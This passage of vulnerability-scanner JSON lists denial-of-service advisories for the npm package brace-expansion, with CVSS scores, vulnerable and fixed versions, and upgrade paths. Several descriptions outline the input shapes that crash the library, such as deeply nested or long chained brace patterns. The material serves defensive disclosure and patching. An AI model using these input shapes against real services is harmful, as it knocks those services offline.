"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
